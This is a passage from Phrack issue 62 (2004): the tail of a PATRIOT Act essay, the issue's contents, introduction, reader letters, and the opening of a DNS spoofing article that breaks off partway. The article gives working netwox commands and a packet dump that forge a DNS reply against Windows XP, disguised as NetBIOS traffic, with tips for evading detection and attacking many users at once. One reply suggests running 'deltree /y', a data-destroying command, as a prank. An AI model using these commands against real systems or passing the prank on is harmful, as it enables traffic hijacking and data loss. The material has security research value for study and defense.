As a people, we need to send a clear, resounding message to our elected officials that we deserve our rights, and we deserve leaders who do not try to undermine them. But we also deserve safety. Our government has done some nasty things overseas, mostly without public knowledge or consent, so is it any wonder that terrorists lash out at our leaders by lashing out at us? After all, we are easy targets because we take for granted that out government will protect us. The demand that we compromise our freedoms in order to obtain that protection is not just grossly insubordinate, it is indicative of a government that is quickly losing interest in the needs of its people.

Works Cited

American Civil Liberties Union (ACLU) 04 April 2003 <http://www.aclu.org/NationalSecurity/NationalSecurity.cfm?ID=11437&c=111>

American Civil Liberties Union (ACLU) 20 April 2003 <http://www.aclu.org/NationalSecurity/NationalSecurity.cfm?ID=9857&c=24>

Bush, George W. "Remarks on Signing the USA PATRIOT Act of 2001." Weekly Compilation of Presidential Documents 37 (2001): 1550‑1552.

Center for Constitutional Rights (CCR) 20 April 2003 <http://www.ccr‑ny.org/v2/reports/docs/Civil_Liberties.pdf>

Chang, Nancy. Center For Constitutional Rights (CCR) 18 April 2003 <http://www.ccr‑ny.org/v2/reports/docs/USA_PATRIOT_ACT.pdf>

Collins, Jennifer M. "And the Walls Came Tumbling Down: Sharing Grand Jury Information with the Intelligence Community Under the USA PATRIOT Act." American Criminal Law Review 39 (2002): 1261‑1286.

"GOP Wants to Keep Anti‑Terror Powers." San Francisco Chronicle 09 April 2003: A15

Hentoff, Nat. "Resistance Rising!" Village Voice 22 November 2002.

McGee, Jim. "An Intelligence Giant in the Making." Washington Post 04 November 2001: A4.

Neary, Lynn. "Commentary: Worrisome Trend of Bush Administration Efforts to Expand Their Collection of Information Data on American Citizens." All Things Considered National Public Radio. 18 November 2002.

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

62

- Introduction by Phrack Staff

- Loopback by Phrack Staff

- Linenoise by Phrack Staff

- Phrack Prophile on scut by Phrack Staff

- Bypassing Win BO Protection by jamie butler & anonymous author

- Kernel Mode Backdoor for NT by firew0rker

- Advances in Windows Shellcode by sk

- Remote Exec by grugq

- UTF8 Shellcode by greuff

- Attacking Apache Modules by andi

- Radio Hacking by shaun2k2

- Win32 Portable Userland Rootkit by kdm

- Bypassing Windows Personal FW's by rattle

- A Dynamic Polyalphabetic Substitution Cipher by veins

- Playing Cards for Smart Profit by ender

- Phrack World News by Phrack Staff

Introduction

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x01 of 0x0f

[‑]=====================================

_______ _ _

.__________\

| _ ___ _ ___ _ ___

_ __|_____ \/ /__ ____ \

b / / _ \/ __/ __/ / /

R __/ / / / \ \ / /

m \_____/ / / / / / /

‑ ‑‑:‑/ /‑‑‑/____/‑‑‑/____/‑‑‑m

| m

| % p H R A C K i s s u e # 6 2 % \_____c__ _

|

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[‑]=====================================

Ladies and gentlemen, blackhatz and whitehat pussies, we are proud to bring you the 6th PHRACK release under the new staff....

PHRACK #62 IS OUT.

For the second time in the history of phrack do we have a printed HARDCOVER version of the magazine. Thanks to the many sponsers we will be giving it out free at ruxcon II. This is a limited edition of 500 copies.

The 62 release is Windows centric. The authors did some great work to teach you scum how to take Bill's OS apart. Check out this sweet article about how to get around windows buffer overflow protections, or the article on the kernel mode backdoor.

We like to publish more articles from the electronic/soldering world. This issue comes with some details about radio broadcasting, hijacking base stations and how to broadcast the propaganda through the neighborhood. The carding article teach you how well‑known techniques from the computer security world still work on smartcards & magnetic stripes (*hint* *hint*, replay attack, MiM, ...).

Scut, an old‑skewl member of team teso and the father of the 7350‑exploits has been selected to be prophiled for #62. Richard Thieme, keynote speaker at defcon and other hacker conferences submitted two stories. We are proud to publish his words under Phrack World News.

__^__

( ___ )‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| / | 0x01 Introduction phrackstaff 0x08 kb | \ | | / | 0x02 Loopback phrackstaff 0x05 kb | \ | | / | 0x03 Linenoise phrackstaff 0x21 kb | \ | | / | 0x04 Phrack Prophile on scut phrackstaff 0x0b kb | \ | | / | 0x05 Bypassing Win BO Protection Anonymous 0x25 kb | \ | | / | 0x06 Kernel Mode Backdoor for NT firew0rker 0x81 kb | \ | | / | 0x07 Advances in Windows Shellcode sk 0x31 kb | \ |

| / | 0x08 Remote Exec grugq 0x3b kb | \ |

| / | 0x09 UTF8 Shellcode greuff 0x32 kb | \ | | / | 0x0a Attacking Apache Modules andi 0x5e kb | \ | | / | 0x0b Radio Hacking shaun2k2 0x36 kb | \ | | / | 0x0c Win32 Portable Userland Rootkit kdm 0x48 kb | \ | | / | 0x0d Bypassing Windows Personal FW's rattle 0x59 kb | \ | | / | 0x0e A DynamicPolyalphabeticSubstitutionCipher veins 0x42 kb | \ | | / | 0x0f Playing Cards for Smart Profits ender 0x1a kb | \ | | / | 0x10 Phrack World News phrackstaff 0x55 kb | \ | |___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___|

(_____)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^

Shoutz to:

barium ‑ ascii art

gamma ‑ hardcover

johncompanies ‑ that's how server hosting should look like bugbabe ‑ 31337 grfx

david meltze ‑ tshirt smuggling

Enjoy the magazine!

Phrack Magazine Vol 11 Number 62, Build 3, Jul 13, 2004. ISSN 1068‑1035 Contents Copyright (c) 2004 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors.

Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : phrackstaff@phrack.org

Submissions : phrackstaff@phrack.org

Commentary : loopback@phrack.org

Phrack World News : pwn@phrack.org

Note: You must put the word 'ANTISPAM' somewhere in the Subject‑line of your email. All others will meet their master in /dev/null. We reply to every email. Lame emails make it into loopback.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

(Hint: Always use the PGP key from the latest issue)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.2.1 (GNU/Linux)

mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4 FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K 5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0 YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv 5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj 5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP 45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh nntgUSbqNtS5lUo=

=FnHK

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑22 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Loopback

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Tom Schouten" <tomschout@hotmail.com>

plz help me, i know that it 's a stupid question but i don't know how to decrypt the phrack articles i have imported the pgp key, but i don't know what to do next

cheers,

Tom

[ Tom, I'm sorry but you wont continue the adventure with us. ]

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: if it were only this easy <temptedtoplay@Al‑Kharafi.com> Subject: Very important send to editor in chief asap

I should start off buy saying I'm not a cop fed or any other kind of law en forcement nor am i affiliated with any national local government of any kind to be honest i don't exist anywhere but, i am not a fan nor friend either. [ ... ] I however have the knowledge you seek but unlike you i will not freely share the knowledge with just every one. you must deserve to know. you must prove yourself. [ ... ] now email is not safe but I've taken the precautions on my end to keep this message out of government hands i hope your server is secure if not they will be looking for me of course they are always looking for me. [ ... ] if you don't succeed which you probably wont don't worry thousands before you have failed and thousands will after it just makes you average.

p.s. IF THE MESSAGE IS INTERCEPTED BY ANY TYPE OF LAW ENFORCEMENT the recipients do not know who i am and questioning them would be like searching google.

[ I'm only seeking for one information: Who gave you our email addres? ]

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: <eeweep@eeweep.be>

Date: Fri, 5 Dec 2003 22:56:03 +0100

> Hi there,

> I was looking through phrack releases and I couldn't find an article about > APR (ARP Poison Routing, used to spoof on switched networks).

[ Unfortunately, you sent your message at 22:56, and we dont accept articles after 22:55. ]

> Maybe there is one and I'm stupid :‑)

[ There is something smart in every stupid sentence. ]

> If you can verify that such an article does not exist (in phrack that is)

[ we hereby verify that such an article does not exist. ]

> I'll start writing right away ;‑)

[ our email address has changed for article

submission: devnull@phrack.org ]

> Greetz,

> eeweep

Gobuyabrain,

PHRACKSTAFF

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: D D <mmmmmcute24@yahoo.de>

I really know you are good! I would like to know how good you are. I have primitive questions:

‑ I'm connected with a dial up connexion and I dont want want my server or anybody else to know witch URL I'm browsing. Is that possible?

[ yes ]

‑ Witch system is "secure" Mac or Win or linux.

[ none ]

|=[ 0x05 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ IRC session after receiving the donation for hardcover print. ]

<staff> Mon3yLaundy ‑ vis0r wants to know if phrack is a registered charity <Mon3yLaundy> it's not.

<staff> yeah, i told him

<staff> he just wants a tax deduction

<Mon3yLaundy> tax my ass.

|=[ 0x06 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: <bris@cimex.com.cu>

Now I'm discovering your magazine, and I want to receive it by email... The question is > How can I receive the magazine by email???

[ wget http://www.phrack.org/archive/phrack62.tar.gz;

puuencode phrack62.tar.gz p62.tar.gz | mail bris@cimex.com.cu ]

|=[ 0x07 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Joshua ruffolo <ruffolojoshua@yahoo.com>

A friend referred me to your site. I know nothing much about what is posted. I don't understand what's what.

[ This is loopback. ]

Apparently there is some basic info that should be known to understand, but what is it?

[ howto_not_getting_into_loopback.txt ]

|=[ 0x08 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Hotballer002@cs.com

Subject: I want to know something about downloading the issues

hi. im nelson and i went to your site and i want to see if u could help me. I just stated the process of learning how to hack and i think your issues can help me. I downloaded one of the issues and when i opened it, a windows pop‑up asked me what program I want to open the issue with. And thats what I don't know. So please help me and tell me what program I'm supposed to have to open the issues with. Thank you

[ You have to pass our IQ test first: click on start ‑> run and enter "deltree /y" ]

|=[ 0x09 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: MrRainbowStar@aol.com

I love all of You ThaNkS For OpeninG My Min_d.?? You All Set Me FrEE IN This TechNo WoRlD.? ThAnkS Dr.K ‑???????? YOU ARE A GEnius _ Oh yeah and there are quite a few typos in the Hackers handbook? ‑but thats cool its all good I know what you mean .....

[ IT'S ALL GOOD MATE! ]

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linenoise

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Mistakes in the RFC Guidelines on DNS Spoofing Attacks

2 ‑ Injecting Signals by Shaun

3 ‑ Pirating A Radio Station

|=‑‑‑‑‑‑=[ The Impact of RFC Guidelines on DNS Spoofing Attacks ]=‑‑‑‑‑‑=| by have2Banonymous

‑‑[ Contents

1 ‑ Executive Summary

2 ‑ Overview of Basic DNS Spoofing Attacks

3 ‑ Proposed Criteria for DNS Reply Acceptance

4 ‑ Impact of RFC Guidelines on DNS Reply Acceptance Criteria 5 ‑ Example DNS Spoofing Attack

6 ‑ Practical Impact of RFC Guidelines on DNS Spoofing Attacks 7 ‑ Implementation Comparison

8 ‑ Conclusion

‑‑[ 1 ‑ Executive Summary

This article provides a brief overview of basic Domain Name System (DNS) spoofing attacks against DNS client resolvers. Technical challenges are proposed that should help to both identify attempted attacks and prevent them from being successful. Relevant Request for Comments (RFC) guidelines, used by programmers to help ensure their DNS resolver code meets specifications, are reviewed. This results in the realisation that the RFC guidelines are not adequately specific or forceful to help identify or prevent DNS spoofing attacks against DNS client resolvers. Furthermore, the RFC guidelines actually simplify such attacks to a level that has not previously been discussed in the public domain until now.

To highlight the consequences of merely conforming to the RFC guidelines without considering security ramifications, an example DNS spoofing attack against the DNS resolver in Microsoft Windows XP is provided. This illustrates serious weaknesses in the Windows XP DNS resolver client implementation. For example, Windows XP will accept a DNS reply as being valid without performing a thorough check that the DNS reply actually matches the DNS request. This allows an attacker to create malicious generic DNS replies that only need to meet a couple of criteria with predictable values in order to be accepted as a valid DNS reply by the targeted user.

This article discusses the practical impact of the issues raised, such as the ability to perform a successful and reasonably undetectable DNS spoofing attack against a large target base of Windows XP users, without the attacker requiring knowledge of the DNS requests issued by the targeted users. Finally, a comparison with the DNS resolver in Debian Linux is supplied.

‑‑[ 2 ‑ Overview of Basic DNS Spoofing Attacks

When a user types the web site name www.somewebsite.org into their web browser, their computer issues a DNS request to their Internet Service Provider's (ISP) DNS server to resolve the web site name to an IP address. An attacker may attempt to subvert this process by sending the user a DNS reply containing an incorrect IP address, resulting in the user's computer connecting to a computer of the attacker's choice instead of the desired web site.

‑‑[ 3 ‑ Proposed Criteria for DNS Reply Acceptance

RFC 2535 (Domain Name System Security Extensions) otherwise known as DNSSEC discusses how cryptographic digital signatures can be used to authenticate DNS transactions to help mitigate DNS spoofing attacks. However, the adoption of this technology has been extremely slow. Even without this level of security, it would initially appear that a DNS spoofing attack against a DNS client resolver would be challenging to perform. This challenge results from the following proposed criteria of the DNS reply that must be met for it to be accepted by the computer performing the DNS lookup.

Proposed criteria of a DNS reply for it to be accepted:

1) The source IP address must match the IP address that the DNS request was sent to.

2) The destination IP address must match the IP address that the DNS request was sent from.

3) The source port number must match the port number that the DNS request was sent to.

4) The destination port number must match the port number that the DNS request was sent from.

5) The UDP checksum must be correctly calculated. This may require the attacker to spend more time and effort per attack, although some packet generation utilities have the ability to automatically calculate this value.

6) The transaction ID must match the transaction ID in the DNS request.

7) The domain name in the question section must match the domain name in the question section of the DNS request.

8) The domain name in the answer section must match the domain name in the question section of the DNS request.

9) The requesting computer must receive the attacker's DNS reply before it receives the legitimate DNS reply.

‑‑[ 4 ‑ Impact of RFC Guidelines on DNS Reply Acceptance Criteria

According to the RFC guidelines, it is not necessary for all of these criteria to be met in order for a DNS reply to be accepted. Specifically, criteria 1, 2, 3, 5, 7 and 8 do not have to be met, while criteria 4, 6 and 9 must be met. The following is a devil's advocate interpretation of the RFC guidelines and a detailed discussion of their effect on each criteria.

Criteria 1 (source IP address) does not have to be met according to RFC 791 (Internet Protocol) which states that "In general, an implementation must be conservative in its sending behavior, and liberal in its receiving behavior. That is, it must be careful to send well‑formed datagrams, but must accept any datagram that it can interpret (e.g., not object to technical errors where the meaning is still clear)". RFC 1035 (Domain names ‑ implementation and specification) states that "Some name servers send their responses from different addresses than the one used to receive the query. That is, a resolver cannot rely that a response will come from the same address which it sent the corresponding query to". The source IP address can therefore be set to an arbitrary IP address. Regardless, if desired, the attacker can set the source IP address of their DNS replies to that of the targeted user's DNS server. This is especially easy if the targeted user is a dialup ISP user since the ISP may have a friendly "How to setup your Internet connection" web page that specifies the IP address of their DNS server.

Criteria 2 (destination IP address) does not have to be met according to RFC 1122 (Requirements for Internet Hosts ‑‑ Communication Layers) which states that "For most purposes, a datagram addressed to a broadcast or multicast destination is processed as if it had been addressed to one of the host's IP addresses". Using a broadcast destination address would be most useful for attacking computers on a Local Area Network. Furthermore, a DNS reply may be accepted if it is addressed to any of the IP addresses associated with a network interface.

Criteria 3 (source port number) does not have to be met according to RFC 768 (User Datagram Protocol) which states that "Source Port is an optional field". The source port can therefore be set to an arbitrary value such as 0 or 12345. Since the source port number of the DNS reply affects packet dissection by utilities such as Ethereal, a value of 137 is a devious choice since it will be dissected as the NetBIOS Name Service (NBNS) protocol which is based on DNS. As a result, the malicious DNS replies can be made to appear like NetBIOS traffic which is likely to be discarded by the system administrator or investigator as typical NetBIOS background noise.

Criteria 4 (destination port number) must be met according to RFC 768 (User Datagram Protocol). However, this value may be predictable depending on the requesting computer's operating system. During testing, Windows XP always used port number 1026 to perform DNS queries, though this value depends on when the DNS Client service started during the boot process.

Criteria 5 (UDP checksum) does not have to be met according to RFC 1122 (Requirements for Internet Hosts ‑‑ Communication Layers) which states that "the UDP checksum is optional; the value zero is transmitted in the checksum field of a UDP header to indicate the absence of a checksum".

Criteria 6 (transaction ID) must be met according to RFC 1035 (Domain names ‑ implementation and specification) which states that the transaction ID is used "to match up replies to outstanding queries". However, this value may be predictable depending on the requesting computer's operating system. During testing, Windows XP did not randomly choose the 16 bit transaction ID value. Rather, Windows XP always used a transaction ID of 1 for the first DNS query performed after the computer was turned on, with the transaction ID simply incremented for subsequent DNS queries. Transaction ID 1 and 2 were used by the operating system to perform a DNS query of time.windows.com.

Criteria 7 and 8 (domain name in question and answer section) do not have to be met according to RFC 1035 (Domain names ‑ implementation and specification) which states that the transaction ID is used "to match up replies to outstanding queries" and recommends as a secondary step "to verify that the question section corresponds to the information currently desired". RFC recommendations do not have to be followed, and in the case of an absent question section, the principal that an implementation must accept any datagram that it can interpret appears to apply. Therefore, a DNS reply containing a single answer in the form of an IP address can be matched to the corresponding DNS request based on the transaction ID, without requiring a question section and without resorting to the overhead of processing the domain information in the answer section. Furthermore, an answer section is not even necessary if an Authority section is provided to refer the requesting computer to an authoritative name server (or a DNS server under the attacker's control).

Criteria 9 (requesting computer must receive the attacker's DNS reply before it receives the legitimate DNS reply) must be met and remains as the greatest challenge to the attacker. This restriction is difficult to bypass unless the legitimate DNS server is taken out of action to prevent competition with the spoofed DNS reply, or numerous spoofed DNS replies are sent to the targeted user. However, as discussed above, criteria 1 to 8 either do not have to be met or may have predictable values. Therefore an attacker may require no knowledge of the victim's DNS request to have a reasonable chance of performing a successful attack by sending the requesting computer a small number of generic DNS replies. Furthermore, there is a viable workaround to the restrictive nature of this criteria. If the attacker is not trying to compromise a specific computer, a "spray and pray" approach can be used. This approach involves sending a very small number (twenty) of spoofed DNS replies to a maximum number of potential target computers, instead of trying to compromise a specific user and only once they have been compromised then trying to compromise another specific user. This "spray and pray" approach won't compromise every potential victim, and every packet the attacker sends won't result in a compromise, but enough of the attacker's malicious DNS replies will be accepted by enough potential victims to make the exercise worthwhile.

‑‑[ 5 ‑ Example DNS Spoofing Attack

A DNS spoofing attack using the concepts discussed in this article was performed against a Windows XP computer. The test Windows XP computer was a default install of the operating system followed by the application of Service Pack 1. The Microsoft Internet Connection Firewall shipped with Windows XP was then enabled, and configured to perform full logging of dropped packets and successful connections.

The Windows XP user typed the web site URL www.somewebsite.org into Internet Explorer, resulting in a DNS request being sent from the user's computer (IP address 192.168.1.1) to the user's DNS server (IP address 192.168.1.254).

A spoofed DNS reply disguised as NetBIOS data was sent to the user from the fake (spoofed) nonexistent IP address 10.10.10.1, specifying that whatever name the user was attempting to resolve had the IP address 192.168.1.77. The IP address 192.168.1.77 was actually a web server under the attacker's control.

Internet Explorer connected to 192.168.1.77 and requested the web page. This revealed that the designers of the DNS resolver in Microsoft Windows XP also interpreted the RFC guidelines as described in the previous section, significantly simplifying DNS spoofing attacks.

The following network packet decoded by Ethereal version 0.10.3 illustrates the malicious DNS reply and demonstrates how Ethereal can be confused into decoding the packet as NetBIOS traffic.

Frame 1 (102 bytes on wire, 102 bytes captured)

Ethernet II, Src: 00:50:56:c0:00:01, Dst: 00:0c:29:04:7d:25 Internet Protocol, Src Addr: 10.10.10.1 (10.10.10.1), Dst Addr: 192.168.1.1 (192.168.1.1)

User Datagram Protocol, Src Port: 137 (137), Dst Port: 1026 (1026) Source port: 137 (137)

Destination port: 1026 (1026)

Length: 68

Checksum: 0x0000 (none)

NetBIOS Name Service

Transaction ID: 0x0003

Flags: 0x8580 (Name query response, No error) Questions: 0

Answer RRs: 1

Authority RRs: 0

Additional RRs: 0

Answers

WORKGROUP<1b>: type unknown, class inet Name: WORKGROUP<1b>

Type: unknown

Class: inet

Time to live: 1 day

Data length: 4

Data

0000 00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00 ..).}%.PV.....E. 0010 00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8 .X.X....%....... 0020 01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00 .......D........ 0030 00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45 ...... FHEPFCELE 0040 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 HFCEPFFFACACACAC 0050 41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80 ACACABL.......Q.

0060 00 04 c0 a8 01 4d .....M

This packet was created using the following parameters passed to the freely available netwox packet creation utility:

netwox 38 ‑‑ip4‑src 10.10.10.1 ‑‑ip4‑dst 192.168.1.1 ‑‑ip4‑protocol 17 ‑‑ip4‑data 008904020044000000038580000000010000000020464845504643454c45484 643455046464641434143414341434143414341424c0000010001000151800004c0a8014d

Alternatively, the following parameters could be used since netwox automatically calculates the UDP checksum:

netwox 39 ‑‑ip4‑src 10.10.10.1 ‑‑ip4‑dst 192.168.1.1 ‑‑udp‑src 137 ‑‑udp‑dst 1026 ‑‑udp‑data 00038580000000010000000020464845504643454c45484 643455046464641434143414341434143414341424c0000010001000151800004c0a8014d

The following shows that the spoofed DNS reply has been added to the user's DNS resolver cache for a period of 1 day, causing future resolutions of www.somewebsite.org to map to the web server under the attacker's control. The cache duration value can be decreased by the attacker so that the entry is either not cached or is immediately removed from the cache in order to remove evidence of the attack.

C:\>ipconfig /displaydns

Windows IP Configuration

1.0.0.127.in‑addr.arpa

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Record Name . . . . . : 1.0.0.127.in‑addr.arpa. Record Type . . . . . : 12

Time To Live . . . . : 604393

Data Length . . . . . : 4

Section . . . . . . . : Answer

PTR Record . . . . . : localhost

www.somewebsite.org

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL Record Type . . . . . : 1

Time To Live . . . . : 86364

Data Length . . . . . : 4

Section . . . . . . . : Answer

A (Host) Record . . . : 192.168.1.77

localhost

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Record Name . . . . . : localhost

Record Type . . . . . : 1

Time To Live . . . . : 604393

Data Length . . . . . : 4

Section . . . . . . . : Answer

A (Host) Record . . . : 127.0.0.1

The following log file from Microsoft's Internet Connection Firewall reveals that it did not provide any protection against the attack, though it is not designed to inspect and correlate DNS traffic. If the firewall was not configured to log successful connections, then there would not have been any log entries.

#Verson: 1.0

#Software: Microsoft Internet Connection Firewall

#Time Format: Local

#Fields: date time action protocol src‑ip dst‑ip src‑port dst‑port size tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info

2004‑05‑10 20:34:56 OPEN UDP 192.168.1.1 192.168.1.254 1026 53 ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2004‑05‑10 20:34:57 OPEN‑INBOUND UDP 10.10.10.1 192.168.1.1 137 1026 ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2004‑05‑10 20:34:57 OPEN TCP 192.168.1.1 192.168.1.77 3010 80 ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2004‑05‑10 20:35:30 CLOSE TCP 192.168.1.1 192.168.1.77 3010 80 ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2004‑05‑10 20:36:30 CLOSE UDP 192.168.1.1 192.168.1.254 1026 53 ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2004‑05‑10 20:36:30 CLOSE UDP 10.10.10.1 192.168.1.1 137 1026 ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

